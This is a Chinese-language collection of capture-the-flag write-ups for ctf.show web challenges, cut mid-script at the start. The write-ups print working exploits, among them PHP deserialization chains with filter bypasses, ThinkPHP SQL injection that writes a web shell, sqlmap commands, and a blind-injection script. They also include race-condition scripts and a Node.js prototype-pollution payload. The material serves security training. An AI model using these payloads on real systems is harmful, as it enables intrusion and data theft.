    session.post("http://705ad190-80a4-407f-a8d5-aade316283da.challenge.ctf.show/?file=.user.ini", data=payload)
    for i in range(1, 30):
        threading.Thread(target=POST, args=(session,)).start()

    for i in range(1, 30):
        threading.Thread(target=READ, args=(session,)).start()
    event.set()

fastapi2 for 阿狸

banlist

['import', 'open', 'eval', 'exec', 'class', '\'', '"', 'vars', 'str', 'chr', '%', '_', 'flag','in', '-', 'mro', '[', ']']

这次最后的kiword],没法像前面一样利用chr来拼了,只能用clear方法

veryphp

<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
    function __wakeup(){
        die("Access Denied!");
    }
    static function oao(){
        show_source("config.php");
    }
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
if(isset($shaw_root)){
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
        echo $hint;
    }else{
        echo "Almost there."."<br>";
    }
}else{
    echo "<br>"."Input correct parameters"."<br>";
    die();
}
if($ans===$SecretNumber){
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}

让我真正认识到bp好用的题,hb各种打不通

[替换为_,正则直接丢101里构造就完事了,最后加个五位数爆破

通过class::func直接调用类函数

shaw[root=-a9<b>000000000>>>>abcphp@Rsa&ans=21475&my[ans=qwq::oao

虎山行

代码审计MiniCMS不难发现这个位置0过滤(题目给出的版本没有拼接.dat)

由于由于拼接了前面的路径,也没法直接include2shell直接梭

image-20240328201118119

image-20240402120148807

读根目录下flag有提示

image-20240402120747921

<?php
highlight_file(__FILE__);
error_reporting(0);
include('waf.php');
class Ctfshow{
    public $ctfer = 'shower';
    public function __destruct(){
        system('cp /hint* /var/www/html/hint.txt');
    }
}
$filename = $_GET['file'];
readgzfile(waf($filename));
?>

waf:

<?php
function waf($file){
    if (preg_match("/^phar|smtp|dict|zip|compress|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i",$file)){
        die("姿势太简单啦,来一点骚的?!");
    }else{
        return $file;
    }
}

对于readgzfile函数,可以利用phar+zlib:phar://反序列化直接打

上传点

<?php
error_reporting(0);
// 允许上传的图片后缀
$allowedExts = array("gif", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
// echo $_FILES["file"]["size"];
$extension = end($temp);     // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 2048000)   // 小于 2000kb
&& in_array($extension, $allowedExts))
{
    if ($_FILES["file"]["error"] > 0)
    {
        echo "文件出错: " . $_FILES["file"]["error"] . "<br>";
    }
    else
    {
        if (file_exists("upload/" . $_FILES["file"]["name"]))
        {
            echo $_FILES["file"]["name"] . " 文件已经存在。 ";
        }
        else
        {
            $md5_unix_random =substr(md5(time()),0,8);
            $filename = $md5_unix_random.'.'.$extension;
            move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
            echo "上传成功,文件存在upload/";
        }
    }
}
else
{
    echo "文件类型仅支持jpg、png、gif等图片格式";
}
?>

time()可以从bp响应的时间包直接算,免去了爆破

image-20240402134710322

?file=zlib:phar:///var/www/html/upload/ea9bf085.gif

然后看hint.txt

image-20240402135133891

引导到下一个目录

<?php
show_source(__FILE__);
$unser = $_GET['unser'];
class Unser {
    public $username='Firebasky';
    public $password;
    function __destruct() {
        if($this->username=='ctfshow'&&$this->password==(int)md5(time())){
            system('cp /ctfshow* /var/www/html/flag.txt');
        }
    }
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');

条件竞争就行

由于(int)md5(time())md5后的结果又有很大可能是字母开头,导致int处理后直接为0

所以直接死payload

import threading

import requests

url = """http://50c1f72f-9558-4dde-bfa6-9cc20bb1afdd.challenge.ctf.show/ctfshowgetflaghhhh/?unser=O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";i:0;}"""


def POST(session):
    while True:
        re = session.get(url=url)


def READ(session):
    while True:
        re = session.get(url='http://50c1f72f-9558-4dde-bfa6-9cc20bb1afdd.challenge.ctf.show/flag.txt')
        if "<!-- /install.php -->" not in re.text:
            print(re.text)


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session,))
    t1.daemon = True
    t1.start()
    READ(session)

spaceman

<?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
    public $username;
    public $password;
    public function __construct($username,$password)
    {
        $this->username = $username;
        $this->password = $password;
    }
    public function __wakeup()
    {
        if($this->password==='ctfshowvip')
        {
            include("flag.php");
            echo $flag;    
        }
        else
        {
            echo 'wrong password';
        }
    }
}
function filter($string){
    return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){            
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>

老点

. +[在中间或中间会被替换_
.在开头会被替换

有个比较抽象的点就是hackbar在raw模式发送POST的时候,会把最后一个参数带上\n\r,导致长度对不上

image-20240413205434415

有手就行

小程序换了

虎山行’s revenge

同虎山行

lastsward’s website

弱密码admin:123456进后台

随便打个error出tp版本号3.2.3,这个版本下有sql注入

index.php/Home/Game/gameinfo/gameId/?gameId[0]=exp&gameId[1]==1 or sleep(5)

弹了个alert,看来输入点就是这里,fuzz跑一下可用函数

image-20240428172254410

直接into dumpfile写shell

先把名字改了,然后

index.php/Home/Game/gameinfo/gameId/?gameId[0]=exp&gameId[1]==1 into dumpfile "/var/www/html/shell.php"%23

eazy-unserialize

<?php
include "mysqlDb.class.php";

class ctfshow{
    public $method;
    public $args;
    public $cursor;

    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
        $this->getCursor();
    }

    function getCursor(){
        global $DEBUG;
        if (!$this->cursor)
            $this->cursor = MySql::getInstance();

        if ($DEBUG) {
            $sql = "DROP TABLE IF  EXISTS  USERINFO";
            $this->cursor->Exec($sql);
            $sql = "CREATE TABLE IF NOT EXISTS USERINFO (username VARCHAR(64),
            password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";

            $this->cursor->Exec($sql);
            $sql = "INSERT INTO USERINFO VALUES ('CTFSHOW', 'CTFSHOW', 'admin'), ('HHD', 'HXD', 'user')";
            $this->cursor->Exec($sql);
        }
    }

    function login() {
        list($username, $password) = func_get_args();
        $sql = sprintf("SELECT * FROM USERINFO WHERE username='%s' AND password='%s'", $username, md5($password));
        $obj = $this->cursor->getRow($sql);
        $data = $obj['role'];

        if ( $data != null ) {
            define('Happy', TRUE);
            $this->loadData($data);
        }
        else {
            $this->byebye("sorry!");
        }
    }

    function closeCursor(){
        $this->cursor = MySql::destroyInstance();
    }

    function lookme() {
        highlight_file(__FILE__);
    }

    function loadData($data) {

        if (substr($data, 0, 2) !== 'O:') {
            return unserialize($data);
        }
        return null;
    }

    function __destruct() {
        $this->getCursor();
        if (in_array($this->method, array("login", "lookme"))) {
            @call_user_func_array(array($this, $this->method), $this->args);
        }
        else {
            $this->byebye("fuc***** hacker ?");
        }
        $this->closeCursor();
    }

    function byebye($msg) {
        $this->closeCursor();
        header("Content-Type: application/json");
        die( json_encode( array("msg"=> $msg) ) );
    }
}

class Happy{
    public $file='flag.php';

    function __destruct(){
        if(!empty($this->file)) {
            include $this->file;
        }
    }

}

function ezwaf($data){
    if (preg_match("/ctfshow/",$data)){
        die("Hacker !!!");
    }
    return $data;
}
if(isset($_GET["w_a_n"])) {
    @unserialize(ezwaf($_GET["w_a_n"]));
} else {
    new CTFSHOW("lookme", array());
}

直接反序列化Happy类,include2shell,但是远程打不通

一步步读

迷惑行为大赏之盲注

forgot.php下有盲注,0过滤

sqlmap一把梭

sqlmap -u https://ac69efcd-48d2-4b50-b033-1e3a0b03257f.challenge.ctf.show/forgot.php --data="username=1" --dbs --hex
sqlmap -u https://ac69efcd-48d2-4b50-b033-1e3a0b03257f.challenge.ctf.show/forgot.php --data="username=1" -D "测试" -tables
sqlmap -u https://ac69efcd-48d2-4b50-b033-1e3a0b03257f.challenge.ctf.show/forgot.php --data="username=1" -D "测试" -T 15665611612 --columns
sqlmap -u https://ac69efcd-48d2-4b50-b033-1e3a0b03257f.challenge.ctf.show/forgot.php --data="username=1" -D "测试" -T 15665611612 -C "what%40you%40want" --dumps

然而sqlmap会主动使用时间盲注,太慢了

给出一个布尔盲注脚本,由于中文的缘故,换用了hex来拿名

Hex_List = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F"]


def get_database_name():
    res = ""
    for i in range(1, 1000):
        max = 15
        min = 0
        mid = (max + min) >> 1
        while max > min:
            payload = (
                f"test' or if(substr(hex("
                f"("
                f"select group_concat(`what@you@want`) from `测试`.`15665611612`"
                f")"
                f"),{i},1) > '{Hex_List[mid]}',1,0);#")
            re = requests.post(url, data={
                "username": payload
            })
            # true
            if "用户存在,但是不允许修改密码 :P" in re.text:
                min = mid + 1
            else:
                max = mid
            mid = (max + min) >> 1
        res = res + Hex_List[mid]
        if res.endswith("0" * 10):
            break
        try:
            print(bytes.fromhex(res).decode(), end="->")
            print(res)
        except:
            pass

Web逃离计划

弱密码admin:admin888登陆,有个文件读取

image-20240505175958618

有waf,可以通过伪协议读文件

read被ban了,直接写就行

?file=php://filter/convert.base64-encode/resource=index.php

本地能直接include2shell,远程被ban了

index

<?php
include "class.php";
include "ezwaf.php";
session_start();
$username = $_POST['username'];
$password = $_POST['password'];
$finish = false;
if ($username!=null&&$password!=null){
    $serData = checkLogData(checkData(get(serialize(new Login($username,$password)))));
    $login = unserialize($serData);
    $loginStatus = $login->checkStatus();
    if ($loginStatus){
        $_SESSION['login'] = true;
        $_COOKIE['status'] = 0;
    }
    $finish = true;
}
?>

waf

<?php

function get($data)
{
    $data = str_replace('forfun', chr(0) . "*" . chr(0), $data);
    return $data;
}

function checkData($data)
{
    if (stristr($data, 'username') !== False && stristr($data, 'password') !== False) {
        die("fuc**** hacker!!!\n");
    } else {
        return $data;
    }
}

function checkLogData($data)
{
    if (preg_match("/register|magic|PersonalFunction/", $data)) {
        die("fuc**** hacker!!!!\n");
    } else {
        return $data;
    }
}

class

<?php
error_reporting(0);

class Login{
    protected $user_name;
    protected $pass_word;
    protected $admin;
    public function __construct($username,$password){
        $this->user_name=$username;
        $this->pass_word=$password;
        if ($this->user_name=='admin'&&$this->pass_word=='admin888'){
            $this->admin = 1;
        }else{
            $this->admin = 0;
        }
    }
    public function checkStatus(){
        return $this->admin;
    }
}


class register{
    protected $username;
    protected $password;
    protected $mobile;
    protected $mdPwd;

    public function __construct($username,$password,$mobile){
        $this->username = $username;
        $this->password = $password;
        $this->mobile = $mobile;
    }

    public function __toString(){
        return $this->mdPwd->pwd;
    }
}

class magic{
    protected $username;

    public function __get($key){
        if ($this->username!=='admin'){
            die("what do you do?");
        }
        $this->getFlag($key);
    }

    public function getFlag($key){
        echo $key."</br>";
        system("cat /flagg");
    }


}

class PersonalFunction{
    protected $username;
    protected $password;
    protected $func = array();

    public function __construct($username, $password,$func = "personalData"){
        $this->username = $username;
        $this->password = $password;
        $this->func[$func] = true;
    }

    public function checkFunction(array $funcBars) {
        $retData = null;

        $personalProperties = array_flip([
            'modifyPwd', 'InvitationCode',
            'modifyAvatar', 'personalData',
        ]);

        foreach ($personalProperties as $item => $num){
            foreach ($funcBars as $funcBar => $stat) {
                if (stristr($stat,$item)){
                    $retData = true;
                }
            }
        }


        return $retData;
    }

    public function doFunction($function){
        // TODO: 出题人提示:一个未完成的功能,不用管这个,单纯为了逻辑严密.
        return true;
    }


    public function __destruct(){
        $retData = $this->checkFunction($this->func);
        $this->doFunction($retData);

    }
}

看起来像是变长度反序列化,在get中把forfun换为chr(0) . "*" . chr(0)

反序列化链如下

PersonalFunction::__destruct -> register::__toString -> magic::__get -> magic::getFlag

直接构造的如下,其中register::mdPwdmagic::usernamePersonalFunction::func都是protected属性

O:16:"PersonalFunction":3:{s:11:" * username";s:5:"admin";s:11:" * password";s:8:"admin888";s:7:" * func";a:1:{i:0;O:8:"register":4:{s:11:" * username";s:5:"admin";s:11:" * password";s:8:"admin888";s:9:" * mobile";s:3:"137";s:8:" * mdPwd";O:5:"magic":1:{s:11:" * username";s:5:"admin";}}}}

有三个waf需要绕过:
checkData对username/password的过滤可以用16进制

O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符类型的s大写时,会被当成16进制解析

checkLogData则可以用大小写绕过

payload如下

O:16:"personalFunction":3:{S:11:"\00*\00\75sername";s:5:"admin";S:11:"%00*%00\70assword";s:8:"admin888";s:7:"%00*%00func";a:1:{i:0;O:8:"Register":4:{S:11:"\00*\00\75sername";s:5:"admin";S:11:"%00*%0070assword";s:8:"admin888";s:9:"%00*%00mobile";s:3:"137";s:8:"%00*%00mdPwd";O:5:"Magic":1:{S:11:"\00*\00\75sername";s:5:"admin";}}}}

要想让这段payload被成功反序列化,就要用到上面的变长度get函数

每有一个forfun,就会让整体少3个字符

修改后的payload如下

1";s:12:"%00*%00pass_word";O:16:"personalFunction":3:{S:11:"\00*\00\75sername";s:5:"admin";S:11:"%00*%00\70assword";s:8:"admin888";s:7:"%00*%00func";a:1:{i:0;O:8:"Register":4:{S:11:"\00*\00\75sername";s:5:"admin";S:11:"%00*%00\70assword";s:8:"admin888";s:9:"%00*%00mobile";s:3:"137";s:8:"%00*%00mdPwd";O:5:"Magic":1:{S:11:"\00*\00\75sername";s:5:"admin";}}}}

主要是添加了;s:12:"%00*%00pass_word";,多添加一个1"目的是让要被吞并的变成3的倍数,不然吞不下去

最后的exp

username=forfunforfunforfunforfunforfunforfunforfunforfunforfunforfun&password=1";s:12:"%00*%00pass_word";O:16:"personalFunction":3:{S:11:"\00*\00\75sername";s:5:"admin";S:11:"%00*%00\70assword";s:8:"admin888";s:7:"%00*%00func";a:1:{i:0;O:8:"Register":4:{S:11:"\00*\00\75sername";s:5:"admin";S:11:"%00*%00\70assword";s:8:"admin888";s:9:"%00*%00mobile";s:3:"137";s:8:"%00*%00mdPwd";O:5:"Magic":1:{S:11:"\00*\00\75sername";s:5:"admin";}}}}

未完成的项目

附件

var createError = require('http-errors');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var indexRouter = require('./routes/index'); /* 朋友我明天上班请假了,配置我已经给你搞好了,你刚学nodejs,public目录下有我给你敲的示例,你跟着敲一下,加点错误逻辑就可以上线了,别忘了删除啊 */
var app = express();

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'html');


app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));

app.use('/', indexRouter);
//app.use('/users', usersRouter);

// catch 404 and forward to error handler
app.use(function(req, res, next) {
    res.json({
        "error": "404"
    })
    next(createError(404));
});

// error handler

module.exports = app;

index.js

var express = require('express');
var router = express.Router();
var db = require('mysql-promise')
const mysql = require( 'mysql' );
const connection = require("mysql");


class Database {
  constructor( config ) {
    this.connection = mysql.createConnection( config );
  }
  query( sql, args ) {
    return new Promise( ( resolve, reject ) => {
      this.connection.query( sql, args, ( err, rows ) => {
        if ( err )
          return reject( err );
        resolve( rows );
      } );
    } );
  }
  close() {
    return new Promise( ( resolve, reject ) => {
      this.connection.end( err => {
        if ( err )
          return reject(err);
        resolve();
      } );
    } );
  }
}



const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}

function clone(a) {
  return merge({}, a);
}

router.get('/',function (req,res,next) {
  console.log("index");
  //res.render('index', {title: 'HTML'});
})


/* GET home page. */
router.post('/', function(req, res, next) {


    var body = JSON.parse(JSON.stringify(req.body));

    if (body.host != undefined) {
        return res.json({
            "msg":"fu** hacker!!!"
        })
    }

    var num = 0
    for(i in body){
        num ++;
    }
    if(num!=2){
        return res.json({
            "msg":"fu** hacker!!!"
        })
    }else{
        if(body.username==undefined||body.password==undefined){
            return res.json({
                "msg":"fu** hacker!!!"
            })
        }
    }

    var copybody = clone(body)
    var host = copybody.host == undefined ? "localhost" : copybody.host
    var flag = "123432432432"
    var config = {
      host: host,
      user: 'root',
      password: 'root',
      database: 'users'
    };



    let database=new Database(config);
    var user = copybody.username
    var pass = copybody.password
    function isInValiCode(str) {
        var reg= /-| |#|[\x00-\x2f]|[\x3a-\x3f]/;
        return reg.test(str);
    }
    if (isInValiCode(user)){
        return res.json({
            "msg":"no hacker!!!"
        })
    }


  let someRows, otherRows;
    database.query( 'select * from user where user= ? and passwd =?', [user,pass] )
      .then( rows => {

        if (1 == rows[0].Id) {
          res.json({
            "msg":flag
          })
        }

      } )
      .then( rows => {
        otherRows = rows;
        return database.close();
      }, err => {
        return database.close().then( () => { throw err; } )
      } )
      .then( () => {
        res.json({
          "error": "err","msg":"user or pass err"
        })
      })
      .catch( err => {
        res.json({
            "error": "err","msg":"user or pass err"
        })
      } )





});

module.exports = router;

里边一个clone+mergevar body = JSON.parse(JSON.stringify(req.body));应该是要打原型链污染

远程打不通,只有本地通了,改改js

测试了一下,远程没有password或者数量不为2都可以pass到最后user or pass err

var express = require('express');
var router = express.Router();


const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}

function clone(a) {
  return merge({}, a);
}

router.post('/', function(req, res, next) {


    var body = JSON.parse(JSON.stringify(req.body));

    if (body.host != undefined) {
        return res.json({
            "msg":"fu** hacker!!!host"
        })
    }

    var num = 0
    for(i in body){
        num ++;
    }
    if(num!=2){
        return res.json({
            "msg":"fu** hacker!!!num"
        })
    }else{
        if(body.username==undefined||body.password==undefined){
            return res.json({
                "msg":"fu** hacker!!!username+password"
            })
        }
    }

    var copybody = clone(body)
    var host = copybody.host == undefined ? "localhost" : copybody.host
    var user = copybody.username
    var pass = copybody.password
    console.log(host,user,pass)
    function isInValiCode(str) {
        var reg= /-| |#|[\x00-\x2f]|[\x3a-\x3f]/;
        return reg.test(str);
    }
    if (isInValiCode(user)){
        return res.json({
            "msg":"no hacker!!!"
        })
    }
    return res.json(copybody)
    
});

module.exports = router;

payload

{"username": "admin","__proto__":{"password": " or 1=1;#"}}

image-20240509182341374

eazy-unserialize-revenge

?w_a_n=O:5:"Happy":1:{s:4:"file";s:22:"../../../../../../flag";}

神仙姐姐

burp爆sx.php

阿拉丁

后端是node

image-20240512165911921

脑残题

flag第x位?

dirsearch找到/flag路径

image-20240512174024875

结合开题img,进/菜

飘啊飘

hint:有手X就行

换手机UA 301到/mb.html

直接curl发包

image-20240513180604246

Ez_Mysqli

利用的mysql8以前对utf8的不恰当处理

即mysql在8以前默认utf8mb3使用的是三字节,而正确的应该是utf8mb4四字节

当入库查询的时候,可以用一些特殊的字符进行绕过,即

select * from user where id = "a" 等价于 select * from user where id = "à"

遍历整个utf表,可以发现大约1377条可进行替换

A -> AaÀÁÂÃÄÅàáâãäåĀāĂ㥹ǍǎǞǟǠǡǺǻȀȁȂȃȦȧḀḁẠạẢảẤấẦầẨẩẪẫẬậẮắẰằẲẳẴẵẶặ
B -> BbḂḃḄḅḆḇ

同时限定了strlen<11

由于这些特殊的字符在php的len为2(中文为3),所以只用替换一两个就行